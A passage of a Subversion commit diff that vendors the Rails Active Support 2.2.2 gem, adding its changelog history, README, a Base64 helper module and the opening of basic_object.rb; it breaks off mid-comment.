+* Make core_ext/string/access.rb multibyte safe. Closes #6388 [Manfred Stienstra]
+
+* Make String#chars slicing behaviour consistent with String. Closes #6387 [Manfred Stienstra]
+
+* Pull in latest multibyte patch. Closes #6346 [Manfred Stienstra]
+
+* Add ActiveSupport::Multibyte.  Provides String#chars which lets you deal with strings as a sequence of chars, not of bytes. Closes #6242 [Julian Tarkhanov, Manfred Stienstra, Thijs van der Vossen & Jan Behrens]
+
+* Fix issue with #class_inheritable_accessor saving updates to the parent class when initialized with an Array or Hash [mojombo]
+
+* Hash#to_xml supports Bignum and BigDecimal.  #6313 [edibiase]
+
+* Don't undefine #class in OptionMerger [Rick]
+
+* Hash.create_from_xml has been renamed to Hash.from_xml, alias will exist until Rails 2.0 [DHH]
+
+* alias_method_chain works with accessor= methods also.  #6153 [Caio Chassot]
+
+* Fix loadable_constants_for_path to handle load paths that do not end with a slash. [Nicholas Seckar]
+
+* Fix logic error in determining what was loaded by a given file. Closes #6039. [Nicholas Seckar]
+
+* Equate Kernel.const_missing with Object.const_missing. Fixes #5988. [Nicholas Seckar]
+
+* Add ApplicationController special case to Dependencies. [Nicholas Seckar]
+
+* Don't pad remaining places with in_groups_of if specified padding value is false. [Marcel Molina Jr.]
+
+* Fix cases where empty xml nodes weren't being translated to nil in Hash.create_from_xml [Rick Olso n]
+
+  <written-on type="date"></written-on> # => { :type => 'date' } # WRONG
+  <written-on type="date"></written-on> # => nil # RIGHT
+
+* Tighten rescue clauses.  #5985 [james at grayproductions.net]
+
+* Inflections: don't singularize -ies plurals.  [foamdino at gmail.com, Mark Van Holstyn]
+
+* Update Initializer to use load_once_paths to avoid plugin reloading. References #5852. [Nicholas Seckar]
+
+* Use Array#assoc in ActiveSupport::OrderedHash. [Mauricio Fernandez]
+
+* Greatly increased performance of String.to_json, which speeds up RJS considerably on large pages, fixes #3473 [Shugo Maeda]
+
+* Detect missing_constants calls from removed modules and fail accordingly. [Nicholas Seckar]
+
+* Stop using defined? in Dependencies.qualified_const_defined? since defined? may invoke const_missing. [Nicholas Seckar]
+
+* Dependencies can autoload directories of nested classes. [Jeremy Kemper]
+    Example:
+      invoice.rb            class Invoice
+      invoice/lineitem.rb   class Invoice::Lineitem
+
+* Add Deprecation.silence so that Reloadable does not scold itself. [Nicholas Seckar]
+
+* Add debugging logging to Dependencies. Currently can be enabled with Dependencies.log_activity = true; adding to Initializer and documenting is forthcoming. [Nicholas Seckar]
+
+* Replace Reloadable with improvements to the Dependencies mechanism. [Nicholas Seckar]
+
+* DateTime#to_time gives hour/minute/second resolution.  #5747 [jon.evans at pobox.com]
+
+* attr_internal to support namespacing and deprecation. Like attr_* except backed by internally-named instance variable. Set attr_internal_naming_format to change the format from the default '@_%s'. [Jeremy Kemper]
+    # def foo()   @foo__rofl      end
+    # def foo=(v) @foo__rofl = v  end
+    self.attr_internal_naming_format = '@%s__rofl'
+    attr_internal :foo
+
+* Raise fully qualified names upon name errors. #5533 [lars at pinds.com, Nicholas Seckar]
+
+* Add extention to obtain the missing constant from NameError instances. [Nicholas Seckar]
+
+* Thoroughly document inflections.  #5700 [petermichaux at gmail.com]
+
+* Added Module#alias_attribute [Jamis/DHH]. Example:
+
+    class Content < ActiveRecord::Base
+      # has a title attribute
+    end
+ 
+    class Email < ActiveRecord::Base
+      alias_attribute :subject, :title
+    end
+ 
+    e = Email.find(1)
+    e.title    # => "Superstars"
+    e.subject  # => "Superstars"
+    e.subject? # => true
+    e.subject = "Megastars"
+    e.title    # => "Megastars"
+
+* Deprecation: easier to work with warning behavior as procs; default behaviors for each environment so users needn't update env.rb; and testing pleasure with assert_deprecated, assert_not_deprecated. [Jeremy Kemper]
+  By default, test prints to $stderr, dev logs, production ignores.
+  Provide your own per-environment in e.g. config/environments/development.rb:
+    ActiveSupport::Deprecation.behavior = Proc.new { |message| raise message }
+
+* First cut of the Rails Deprecation system.   [Koz]
+
+* Strip boolean XML content before checking for 'true' [Rick Olson]
+
+* Customize default BigDecimal formatting. References #5672 [dave at pragprog.com]
+
+* Correctly convert <foo nil="true"> to nil when using Hash.create_from_xml.  [Rick]
+
+* Optional identity for Enumerable#sum defaults to zero. #5657 [gensym at mac.com]
+
+* HashWithIndifferentAccess shouldn't confuse false and nil. #5601 [shugo at ruby-lang.org]
+
+* Fixed HashWithIndifferentAccess#default #5586 [chris at seagul.co.uk]
+
+* More compatible Hash.create_from_xml. #5523 [nunemaker at gmail.com]
+
+* Added Enumerable#sum for calculating a sum from the elements [DHH, jonathan at daikini.com]. Examples:
+
+    [1, 2, 3].sum
+    payments.sum { |p| p.price * p.tax_rate }
+    payments.sum(&:price)
+
+  This is instead of payments.inject(0) { |sum, p| sum + p.price }
+
+* Correct and clarify Array#to_sentence docs.  #5458 [brad at madriska.com]
+
+* alias_method_chain preserves method punctuation so foo, foo?, and foo! may be chained with the same feature. [Jeremy Kemper]
+    Example:
+      alias_method_chain :save!, :validation
+    is equivalent to
+      alias_method :save_without_validation!, :save!
+      alias_method :save!, :save_with_validation!
+
+* Enhance Symbol#to_proc so it works with list objects, such as multi-dimensional arrays. Closes #5295 [nov at yo.rim.or.jp].  Example:
+
+    {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last)
+    #=> ["one", "two", "three"]
+
+* Added Hash.create_from_xml(string) which will create a hash from a XML string and even typecast if possible [DHH]. Example:
+
+    Hash.create_from_xml <<-EOT
+      <note>
+        <title>This is a note</title>
+        <created-at type="date">2004-10-10</created-at>
+      </note>
+    EOT
+  
+  ...would return:
+  
+    { :note => { :title => "This is a note", :created_at => Date.new(2004, 10, 10) } }
+
+* Added Jim Weirich's excellent FlexMock class to vendor (Copyright 2003, 2004 by Jim Weirich (jim at weriichhouse.org)) -- it's not automatically required, though, so require 'flexmock' is still necessary [DHH]
+
+* Fixed that Module#alias_method_chain should work with both foo? foo! and foo at the same time #4954 [anna at wota.jp]
+
+* to_xml fixes, features, and speedup: introduce :dasherize option that converts updated_at to updated-at if true (the existing default); binary columns get encoding="base64" attribute; nil values get nil="true" attribute to distinguish empty values; add type information for float columns; allow arbitrarily deep :include; include SQL type information as the type attribute.  #4989 [Blair Zajac <blair at orcaware.com>]
+
+* Add OrderedHash#values. [Sam Stephenson]
+
+* Added Array#to_s(:db) that'll produce a comma-separated list of ids [DHH]. Example:
+    
+    Purchase.find(:all, :conditions => "product_id IN (#{shops.products.to_s(:db)})"
+
+* Normalize classify's argument to a String so that it plays nice with Symbols. [Marcel Molina Jr.] 
+
+* Strip out leading schema name in classify. References #5139. [schoenm at earthlink.net]
+
+* Remove Enumerable#first_match since break(value) handles the use case well enough. [Nicholas Seckar]
+
+  Enumerable#first_match was like detect, but instead of returning the matching element, the yielded value returned. For example:
+  
+    user_xml = adapters(:from => User, :to => Xml).first_match do |adapter|
+      adapter.adapt @user
+    end
+  
+  But this is just as easily done with:
+  
+    user_xml = adapters(:from => User, :to => Xml).each do
+      break adapter.adapt(@user)
+    end
+  
+* Make Array#in_groups_of just return the grouped collection if a block isn't given. [Marcel Molina Jr.] 
+
+* Don't destroy a HashWithIndifferentAccess if symbolize_keys! or  stringify_keys! is called on it. Closes #5076. [Marcel Molina Jr., guy.naor at famundo.com]
+
+* Document Module::delegate. #5002 [pergesu at gmail.com]
+
+* Replace alias method chaining with Module#alias_method_chain. [Marcel Molina Jr.]
+
+* Strip out punctuation on predicates or bang methods being aliased with alias_method_chain since target?_without_feature is not a valid method name. Add tests for Module#alias_method_chain. [Marcel Molina Jr.]
+
+* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+
+* Allow default options in with_options to be overridden. Closes #4480. [murphy at cYcnus.de] 
+
+* Added Module#alias_method_chain [Jamis Buck]
+
+* Updated to Builder 2.0 [DHH]
+
+* Add Array#split for dividing arrays into one or more subarrays by value or block. [Sam Stephenson]
+
+*1.3.1* (April 6th, 2006)
+
+* Clean paths inside of exception messages and traces. [Nicholas Seckar]
+
+* Add Pathname.clean_within for cleaning all the paths inside of a string. [Nicholas Seckar]
+
+* provide an empty Dependencies::LoadingModule.load which prints deprecation warnings.  Lets 1.0 applications function with .13-style environment.rb.
+
+
+*1.3.0* (March 27th, 2006)
+
+* When possible, avoid incorrectly obtaining constants from parent modules. Fixes #4221. [Nicholas Seckar]
+
+* Add more tests for dependencies; refactor existing cases. [Nicholas Seckar]
+
+* Move Module#parent and Module#as_load_path into core_ext. Add Module#parent. [Nicholas Seckar]
+
+* Add CachingTools::HashCaching to simplify the creation of nested, autofilling hashes. [Nicholas Seckar]
+
+* Remove a hack intended to avoid unloading the same class twice, but which would not work anyways. [Nicholas Seckar]
+
+* Update Object.subclasses_of to locate nested classes. This affects Object.remove_subclasses_of in that nested classes will now be unloaded. [Nicholas Seckar]
+
+* Update Object.remove_subclasses_of to use Class.remove_class, reducing duplication. [Nicholas Seckar]
+
+* Added Fixnum#seconds for consistency, so you can say 5.minutes + 30.seconds instead of 5.minutes + 30 #4389 [François Beausoleil]
+
+* Added option to String#camelize to generate lower-cased camel case by passing in :lower, like "super_man".camelize(:lower) # => "superMan" [DHH]
+
+* Added Hash#diff to show the difference between two hashes [Chris McGrath]
+
+* Added Time#advance to do precise time time calculations for cases where a month being approximated to 30 days won't do #1860 [Rick Olson]
+
+* Enhance Inflector.underscore to convert '-' into '_' (as the inverse of Inflector.dasherize) [Jamis Buck]
+
+* Switched to_xml to use the xml schema format for datetimes.  This allows the encoding of time zones and should improve operability. [Koz]
+
+* Added a note to the documentation for the Date related Numeric extensions to indicate that they're
+approximations and shouldn't be used for critical calculations. [Koz]
+
+* Added Hash#to_xml and Array#to_xml that makes it much easier to produce XML from basic structures [DHH]. Examples:
+
+    { :name => "David", :street_name => "Paulina", :age => 26, :moved_on => Date.new(2005, 11, 15) }.to_xml
+    
+  ...returns:
+
+      <person>
+        <street-name>Paulina</street-name>
+        <name>David</name>
+        <age type="integer">26</age>
+        <moved-on type="date">2005-11-15</moved-on>
+      </person>
+
+* Moved Jim Weirich's wonderful Builder from Action Pack to Active Support (it's simply too useful to be stuck in AP) [DHH]
+
+* Fixed that Array#to_sentence will return "" on an empty array instead of ", and" #3842, #4031 [rubyonrails at beautifulpixel.com]
+
+* Add Enumerable#group_by for grouping collections based on the result of some
+  block. Useful, for example, for grouping records by date.
+
+  ex.
+
+     latest_transcripts.group_by(&:day).each do |day, transcripts| 
+       p "#{day} -> #{transcripts.map(&:class) * ', '}"
+     end
+     "2006-03-01 -> Transcript"
+     "2006-02-28 -> Transcript"
+     "2006-02-27 -> Transcript, Transcript"
+     "2006-02-26 -> Transcript, Transcript"
+
+  Add Array#in_groups_of, for iterating over an array in groups of a certain
+  size.
+
+  ex.
+
+     %w(1 2 3 4 5 6 7).in_groups_of(3) {|g| p g}
+     ["1", "2", "3"]
+     ["4", "5", "6"]
+     ["7", nil, nil]
+
+  [Marcel Molina Jr., Sam Stephenson]
+
+* Added Kernel#daemonize to turn the current process into a daemon that can be killed with a TERM signal [DHH]
+
+* Add 'around' methods to Logger,  to make it easy to log before and after messages for a given block as requested in #3809. [Michael Koziarski]  Example:
+
+  logger.around_info("Start rendering component (#{options.inspect}): ", 
+                     "\n\nEnd of component rendering") { yield }
+
+* Added Time#beginning_of_quarter #3607 [cohen.jeff at gmail.com]
+
+* Fix Object.subclasses_of to only return currently defined objects [Jonathan Viney <jonathan at bluewire.net.nz>]
+
+* Fix constantize to properly handle names beginning with '::'. [Nicholas Seckar]
+
+* Make String#last return the string instead of nil when it is shorter than the limit [Scott Barron].
+
+* Added delegation support to Module that allows multiple delegations at once (unlike Forwardable in the stdlib) [DHH]. Example:
+
+    class Account < ActiveRecord::Base
+      has_one :subscription
+      delegate :free?, :paying?, :to => :subscription
+      delegate :overdue?, :to => "subscription.last_payment"
+    end
+    
+    account.free?    # => account.subscription.free?
+    account.overdue? # => account.subscription.last_payment.overdue?
+
+* Fix Reloadable to handle the case where a class that has been 'removed' has not yet been garbage collected. [Nicholas Seckar]
+
+* Don't allow Reloadable to be included into Modules.
+
+* Remove LoadingModule. [Nicholas Seckar]
+
+* Add documentation for Reloadable::Subclasses. [Nicholas Seckar]
+
+* Add Reloadable::Subclasses which handles the common case where a base class should not be reloaded, but its subclasses should be. [Nicholas Seckar]
+
+* Further improvements to reloading code [Nicholas Seckar, Trevor Squires]
+  
+  - All classes/modules which include Reloadable can define reloadable? for fine grained control of reloading
+  - Class.remove_class uses Module#parent to access the parent module
+  - Class.remove_class expanded to handle multiple classes in a single call
+  - LoadingModule.clear! has been removed as it is no longer required
+  - Module#remove_classes_including has been removed in favor of Reloadable.reloadable_classes
+
+* Added reusable reloading support through the inclusion of the Relodable module that all subclasses of ActiveRecord::Base, ActiveRecord::Observer, ActiveController::Base, and ActionMailer::Base automatically gets. This means that these classes will be reloaded by the dispatcher when Dependencies.mechanism = :load. You can make your own models reloadable easily:
+
+    class Setting
+      include Reloadable
+    end
+  
+  Reloading a class is done by removing its constant which will cause it to be loaded again on the next reference. [DHH]
+
+* Added auto-loading support for classes in modules, so Conductor::Migration will look for conductor/migration.rb and Conductor::Database::Settings will look for conductor/database/settings.rb [Nicholas Seckar]
+
+* Add Object#instance_exec, like instance_eval but passes its arguments to the block.  (Active Support will not override the Ruby 1.9 implementation of this method.) [Sam Stephenson]
+
+* Add Proc#bind(object) for changing a proc or block's self by returning a Method bound to the given object. Based on why the lucky stiff's "cloaker" method. [Sam Stephenson]
+
+* Fix merge and dup for hashes with indifferent access #3404 [kenneth.miller at bitfield.net]
+
+* Fix the requires in option_merger_test to unbreak AS tests. [Sam Stephenson]
+
+* Make HashWithIndifferentAccess#update behave like Hash#update by returning the hash. #3419, #3425 [asnem at student.ethz.ch, JanPrill at blauton.de, Marcel Molina Jr.]
+
+* Add ActiveSupport::JSON and Object#to_json for converting Ruby objects to JSON strings. [Sam Stephenson]
+
+* Add Object#with_options for DRYing up multiple calls to methods having shared options. [Sam Stephenson]  Example:
+
+  ActionController::Routing::Routes.draw do |map|
+    # Account routes
+    map.with_options(:controller => 'account') do |account|
+      account.home   '',       :action => 'dashboard'
+      account.signup 'signup', :action => 'new'
+      account.logout 'logout', :action => 'logout'
+    end
+  end
+
+* Introduce Dependencies.warnings_on_first_load setting.  If true, enables warnings on first load of a require_dependency.  Otherwise, loads without warnings.  Disabled (set to false) by default.  [Jeremy Kemper]
+
+* Active Support is warnings-safe.  #1792 [Eric Hodel]
+
+* Introduce enable_warnings counterpart to silence_warnings.  Turn warnings on when loading a file for the first time if Dependencies.mechanism == :load.  Common mistakes such as redefined methods will print warnings to stderr.  [Jeremy Kemper]
+
+* Add Symbol#to_proc, which allows for, e.g. [:foo, :bar].map(&:to_s). [Marcel Molina Jr.]
+
+* Added the following methods [Marcel Molina Jr., Sam Stephenson]:
+  * Object#copy_instance_variables_from(object) to copy instance variables from one object to another 
+  * Object#extended_by to get an instance's included/extended modules
+  * Object#extend_with_included_modules_from(object) to extend an instance with the modules from another instance
+
+*1.2.5* (December 13th, 2005)
+
+* Become part of Rails 1.0
+
+* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
+
+*1.2.3* (November 7th, 2005)
+
+* Change Inflector#constantize to use eval instead of const_get. [Nicholas Seckar]
+
+* Fix const_missing handler to ignore the trailing '.rb' on files when comparing paths. [Nicholas Seckar]
+
+* Define kernel.rb methods in "class Object" instead of "module Kernel" to work around a Windows peculiarity [Sam Stephenson]
+
+* Fix broken tests caused by incomplete loading of active support. [Nicholas Seckar]
+
+* Fix status pluralization bug so status_codes doesn't get pluralized as statuses_code.  #2758 [keithm at infused.org]
+
+* Added Kernel#silence_stderr to silence stderr for the duration of the given block [Sam Stephenson]
+
+* Changed Kernel#` to print a message to stderr (like Unix) instead of raising Errno::ENOENT on Win32 [Sam Stephenson]
+
+* Changed 0.blank? to false rather than true since it violates everyone's expectation of blankness.  #2518, #2705 [rails at jeffcole.net]
+
+* When loading classes using const_missing, raise a NameError if and only if the file we tried to load was not present. [Nicholas Seckar]
+
+* Added petabytes and exebytes to numeric extensions #2397 [timct at mac.com]
+
+* Added Time#end_of_month to accompany Time#beginning_of_month #2514 [Jens-Christian Fischer]
+
+
+*1.2.2* (October 26th, 2005)
+
+* Set Logger.silencer = false to disable Logger#silence.  Useful for debugging fixtures.
+
+* Add title case method to String to do, e.g., 'action_web_service'.titlecase #  => 'Action Web Service'. [Marcel Molina Jr.]
+
+
+*1.2.1* (October 19th, 2005)
+
+* Classify generated routing code as framework code to avoid appearing in application traces. [Nicholas Seckar]
+
+* Show all framework frames in the framework trace. [Nicholas Seckar]
+
+
+*1.2.0* (October 16th, 2005)
+
+* Update Exception extension to show the first few framework frames in an application trace. [Nicholas Seckar] 
+
+* Added Exception extension to provide support for clean backtraces. [Nicholas Seckar]
+
+* Updated whiny nil to be more concise and useful. [Nicholas Seckar]
+
+* Added Enumerable#first_match [Nicholas Seckar]
+
+* Fixed that Time#change should also reset usec when also resetting minutes #2459 [ikeda at dream.big.or.jp]
+
+* Fix Logger compatibility for distributions that don't keep Ruby and its standard library in sync.
+
+* Replace '%e' from long and short time formats as Windows does not support it. #2344. [Tom Ward <tom at popdog.net>]
+
+* Added to_s(:db) to Range, so you can get "BETWEEN '2005-12-10' AND '2005-12-12'" from Date.new(2005, 12, 10)..Date.new(2005, 12, 12) (and likewise with Times)
+
+* Moved require_library_or_gem into Kernel. #1992 [Michael Schuerig <michael at schuerig.de>]
+
+* Add :rfc822 as an option for Time#to_s (to get rfc822-formatted times)
+
+* Chain the const_missing hook to any previously existing hook so rails can play nicely with rake
+
+* Clean logger is compatible with both 1.8.2 and 1.8.3 Logger.  #2263 [Michael Schuerig <michael at schuerig.de>]
+
+* Added native, faster implementations of .blank? for the core types #2286 [skae]
+
+* Fixed clean logger to work with Ruby 1.8.3 Logger class #2245
+
+* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 [c.r.mcgrath at gmail.com]
+
+* Fixed Inflector.underscore for use with acronyms, so HTML becomes html instead of htm_l #2173 [k at v2studio.com]
+
+* Fixed dependencies related infinite recursion bug when a controller file does not contain a controller class. Closes #1760. [rcolli2 at tampabay.rr.com]
+
+* Fixed inflections for status, quiz, move #2056 [deirdre at deirdre.net]
+
+* Added Hash#reverse_merge, Hash#reverse_merge!, and Hash#reverse_update to ease the use of default options
+
+* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 [m.stienstra at fngtps.com]
+
+* Added Kernel#silence_warnings to turn off warnings temporarily for the passed block
+
+* Added String#starts_with? and String#ends_with? #2118 [thijs at vandervossen.net]
+
+* Added easy extendability to the inflector through Inflector.inflections (using the Inflector::Inflections singleton class). Examples:
+
+    Inflector.inflections do |inflect|
+      inflect.plural /^(ox)$/i, '\1\2en'
+      inflect.singular /^(ox)en/i, '\1'
+    
+      inflect.irregular 'octopus', 'octopi'
+    
+      inflect.uncountable "equipment"
+    end
+
+* Added String#at, String#from, String#to, String#first, String#last in ActiveSupport::CoreExtensions::String::Access to ease access to individual characters and substrings in a string serving basically as human names for range access.
+
+* Make Time#last_month work when invoked on the 31st of a month.
+
+* Add Time.days_in_month, and make Time#next_month work when invoked on the 31st of a month
+
+* Fixed that Time#midnight would have a non-zero usec on some platforms #1836
+
+* Fixed inflections of "index/indices" #1766 [damn_pepe at gmail.com]
+
+* Added stripping of _id to String#humanize, so "employee_id" becomes "Employee" #1574 [Justin French]
+
+* Factor Fixnum and Bignum extensions into Integer extensions [Nicholas Seckar]
+
+* Hooked #ordinalize into Fixnum and Bignum classes. [Nicholas Seckar, danp]
+
+* Added Fixnum#ordinalize to turn 1.ordinalize to "1st", 3.ordinalize to "3rd", and 10.ordinalize to "10th" and so on #1724 [paul at cnt.org]
+
+
+*1.1.1* (11 July, 2005)
+
+* Added more efficient implementation of the development mode reset of classes #1638 [Chris McGrath]
+
+
+*1.1.0* (6 July, 2005)
+
+* Fixed conflict with Glue gem #1606 [Rick Olson]
+
+* Added new rules to the Inflector to deal with more unusual plurals mouse/louse => mice/lice, information => information, ox => oxen, virus => viri, archive => archives #1571, #1583, #1490, #1599, #1608 [foamdino at gmail.com/others]
+
+* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 [c.r.mcgrath at gmail.com]
+
+* Made 1.year == 365.25.days to account for leap years.  This allows you to do User.find(:all, :conditions => ['birthday > ?', 50.years.ago]) without losing a lot of days.  #1488 [tuxie at dekadance.se]
+
+* Added an exception if calling id on nil to WhinyNil #584 [kevin-temp at writesoon.com]
+
+* Added Fix/Bignum#multiple_of? which returns true on 14.multiple_of?(7) and false on 16.multiple_of?(7) #1464 [Thomas Fuchs]
+
+* Added even? and odd? to work with Bignums in addition to Fixnums #1464 [Thomas Fuchs]
+
+* Fixed Time#at_beginning_of_week returned the next Monday instead of the previous one when called on a Sunday #1403 [jean.helou at gmail.com]
+
+* Increased the speed of indifferent hash access by using Hash#default.  #1436 [Nicholas Seckar]
+
+* Added that "   " is now also blank? (using strip if available)
+
+* Fixed Dependencies so all modules are able to load missing constants #1173 [Nicholas Seckar]
+
+* Fixed the Inflector to underscore strings containing numbers, so Area51Controller becomes area51_controller #1176 [Nicholas Seckar]
+
+* Fixed that HashWithIndifferentAccess stringified all keys including symbols, ints, objects, and arrays #1162 [Nicholas Seckar]
+
+* Fixed Time#last_year to go back in time, not forward #1278 [fabien at odilat.com]
+
+* Fixed the pluralization of analysis to analyses #1295 [seattle at rootimage.msu.edu]
+
+* Fixed that Time.local(2005,12).months_since(1) would raise "ArgumentError: argument out of range" #1311 [jhahn at niveon.com]
+
+* Added silencing to the default Logger class
+
+
+*1.0.4* (19th April, 2005)
+
+* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 [Nicholas Seckar]
+
+* Fixed inflection of perspectives and similar words #1045 [thijs at vandervossen.net]
+
+* Added Fixnum#even? and Fixnum#odd?
+
+* Fixed problem with classes being required twice. Object#const_missing now uses require_dependency to load files. It used to use require_or_load which would cause models to be loaded twice, which was not good for validations and other class methods #971 [Nicholas Seckar]
+
+
+*1.0.3* (27th March, 2005)
+
+* Fixed Inflector.pluralize to handle capitalized words #932 [Jeremy Kemper]
+
+* Added Object#suppress which allows you to make a saner choice around with exceptions to swallow #980. Example:
+
+    suppress(ZeroDivisionError) { 1/0 }
+  
+  ...instead of:
+  
+    1/0 rescue nil # BAD, EVIL, DIRTY.
+
+
+*1.0.2* (22th March, 2005)
+
+* Added Kernel#returning -- a Ruby-ized realization of the K combinator, courtesy of Mikael Brockman.
+
+    def foo
+      returning values = [] do
+        values << 'bar'
+        values << 'baz'
+      end
+    end
+    
+    foo # => ['bar', 'baz']
+
+
+*1.0.1* (7th March, 2005)
+
+* Fixed Hash#indifferent_access to also deal with include? and fetch and nested hashes #726 [Nicholas Seckar]
+
+* Added Object#blank? -- see http://redhanded.hobix.com/inspect/objectBlank.html #783 [_why the lucky stiff]
+
+* Added inflection rules for "sh" words, like "wish" and "fish" #755 [phillip at pjbsoftware.com]
+
+* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 [Tobias Luetke]
+
+* Added String#to_time and String#to_date for wrapping ParseDate
+
+
+*1.0.0* (24th February, 2005)
+
+* Added TimeZone as the first of a number of value objects that among others Active Record can use rich value objects using composed_of #688 [Jamis Buck]
+
+* Added Date::Conversions for getting dates in different convenient string representations and other objects
+
+* Added Time::Conversions for getting times in different convenient string representations and other objects
+
+* Added Time::Calculations to ask for things like Time.now.tomorrow, Time.now.yesterday, Time.now.months_ago(4) #580 [DP|Flurin]. Examples:
+
+    "Later today"         => now.in(3.hours),
+    "Tomorrow morning"    => now.tomorrow.change(:hour => 9),
+    "Tomorrow afternoon"  => now.tomorrow.change(:hour => 14),
+    "In a couple of days" => now.tomorrow.tomorrow.change(:hour => 9),
+    "Next monday"         => now.next_week.change(:hour => 9),
+    "In a month"          => now.next_month.change(:hour => 9),
+    "In 6 months"         => now.months_since(6).change(:hour => 9),
+    "In a year"           => now.in(1.year).change(:hour => 9)
+
+* Upgraded to breakpoint 92 which fixes:
+
+    * overload IRB.parse_opts(), fixes #443
+      => breakpoints in tests work even when running them via rake
+    * untaint handlers, might fix an issue discussed on the Rails ML
+    * added verbose mode to breakpoint_client
+    * less noise caused by breakpoint_client by default
+    * ignored TerminateLineInput exception in signal handler
+      => quiet exit on Ctrl-C
+
+* Fixed Inflector for words like "news" and "series" that are the same in plural and singular #603 [echion], #615 [marcenuc]
+
+* Added Hash#stringify_keys and Hash#stringify_keys!
+
+* Added IndifferentAccess as a way to wrap a hash by a symbol-based store that also can be accessed by string keys
+
+* Added Inflector.constantize to turn "Admin::User" into a reference for the constant Admin::User
+
+* Added that Inflector.camelize and Inflector.underscore can deal with modules like turning "Admin::User" into "admin/user" and back
+
+* Added Inflector.humanize to turn attribute names like employee_salary into "Employee salary". Used by automated error reporting in AR.
+
+* Added availability of class inheritable attributes to the masses #477 [Jeremy Kemper]
+
+    class Foo
+      class_inheritable_reader :read_me
+      class_inheritable_writer :write_me
+      class_inheritable_accessor :read_and_write_me
+      class_inheritable_array :read_and_concat_me
+      class_inheritable_hash :read_and_update_me
+    end
+
+    # Bar gets a clone of (not a reference to) Foo's attributes.
+    class Bar < Foo
+    end
+
+    Bar.read_and_write_me == Foo.read_and_write_me
+    Bar.read_and_write_me = 'bar'
+    Bar.read_and_write_me != Foo.read_and_write_me
+
+* Added Inflections as an extension on String, so Inflector.pluralize(Inflector.classify(name)) becomes name.classify.pluralize #476 [Jeremy Kemper]
+
+* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 [Marcel Molina]
+
+* Fixed that Dependencies.reload can't load the same file twice #420 [Kent Sibilev]
+
+* Added Fixnum#ago/until, Fixnum#since/from_now #450 [Jeremy Kemper]
+
+* Added that Inflector now accepts Symbols and Classes by calling .to_s on the word supplied
+
+* Added time unit extensions to Fixnum that'll return the period in seconds, like 2.days + 4.hours.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+= Active Support -- Utility classes and standard library extensions from Rails
+
+Active Support is a collection of various utility classes and standard library extensions that were found useful
+for Rails. All these additions have hence been collected in this bundle as way to gather all that sugar that makes
+Ruby sweeter.
+
+
+== Download
+
+The latest version of Active Support can be found at
+
+* http://rubyforge.org/project/showfiles.php?group_id=182
+
+Documentation can be found at 
+
+* http://as.rubyonrails.com
+
+
+== Installation
+
+The preferred method of installing Active Support is through its GEM file. You'll need to have
+RubyGems[http://rubygems.rubyforge.org/wiki/wiki.pl] installed for that, though. If you have it,
+then use:
+
+  % [sudo] gem install activesupport-1.0.0.gem
+
+
+== License
+
+Active Support is released under the MIT license.
+
+
+== Support
+
+The Active Support homepage is http://www.rubyonrails.com. You can find the Active Support
+RubyForge page at http://rubyforge.org/projects/activesupport. And as Jim from Rake says:
+
+   Feel free to submit commits or feature requests.  If you send a patch,
+   remember to update the corresponding unit tests.  If fact, I prefer
+   new feature to be submitted in the form of new unit tests.
+
+For other information, feel free to ask on the ruby-talk mailing list
+(which is mirrored to comp.lang.ruby) or contact mailto:david at loudthinking.com.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/base64.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/base64.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/base64.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+begin
+  require 'base64'
+rescue LoadError
+end
+
+module ActiveSupport
+  if defined? ::Base64
+    Base64 = ::Base64
+  else
+    # Base64 provides utility methods for encoding and de-coding binary data 
+    # using a base 64 representation. A base 64 representation of binary data
+    # consists entirely of printable US-ASCII characters. The Base64 module
+    # is included in Ruby 1.8, but has been removed in Ruby 1.9.
+    module Base64
+      # Encodes a string to its base 64 representation. Each 60 characters of
+      # output is separated by a newline character.
+      #
+      #  ActiveSupport::Base64.encode64("Original unencoded string") 
+      #  # => "T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw==\n"
+      def self.encode64(data)
+        [data].pack("m")
+      end
+
+      # Decodes a base 64 encoded string to its original representation.
+      #
+      #  ActiveSupport::Base64.decode64("T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw==") 
+      #  # => "Original unencoded string"
+      def self.decode64(data)
+        data.unpack("m").first
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/basic_object.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/basic_object.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/basic_object.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+# A base class with no predefined methods that tries to behave like Builder's
+# BlankSlate in Ruby 1.9. In Ruby pre-1.9, this is actually the
+# Builder::BlankSlate class.
+#
+# Ruby 1.9 introduces BasicObject which differs slightly from Builder's
+# BlankSlate that has been used so far. ActiveSupport::BasicObject provides a
+# barebones base class that emulates Builder::BlankSlate while still relying on
